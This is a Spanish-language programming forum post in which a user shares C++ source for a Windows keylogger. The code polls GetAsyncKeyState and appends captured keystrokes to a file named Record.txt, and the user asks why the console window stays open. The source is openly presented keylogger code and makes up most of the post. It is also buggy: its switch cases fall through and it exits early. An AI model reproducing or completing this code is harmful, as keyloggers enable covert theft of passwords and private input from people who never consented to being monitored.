Dev - C++ - Keylogger en c++

 
Vista:
Imágen de perfil de Lisandro

Keylogger en c++

Publicado por Lisandro (2 intervenciones) el 22/07/2021 02:08:31
Buenas noches estoy en el desarrollo de un keylogger en C++.
Y al compilar la aplicacion guarda las teclas presionadas en el bloc de notas llamado Record.txt, sin embargo la pantalla negra de compilación queda encendida y no cierra.
#include<iostream>
#include<windows.h>
#include<winuser.h>
#include<fstream>

using namespace std;

void log();

int main()
{

log();
return 0;
// return EXIT_SUCCESS;
exit(1);
// exit(EXIT_SUCCESS);
}

void log()
{

char c ;

for(;;)
{

for( c=8; c<=222; c++)
{
if(GetAsyncKeyState(c)== -32767)
{
ofstream write("Record.txt" , ios::app);

switch(c)
{
case 8 : write << "<Backspace>";
case 27 : write <<"<Esc>";
case 127 : write <<"<Del>";
case 32 : write <<" ";
case 13 : write <<"<Enter>\n";

default : write << c;


}


}

}
exit(0);

}
// exit(EXIT_SUCCESS);
// exit(1);
// return 0;

}

Si no fui muy preciso en la explicación por favor hazme saber, pueden compilarlo en el compilador Dev c++ y en la misma carpeta donde guardaron el archivo se creará el archivo Record.txt
Valora esta pregunta
Me gusta: Está pregunta es útil y esta claraNo me gusta: Está pregunta no esta clara o no es útil
0
Responder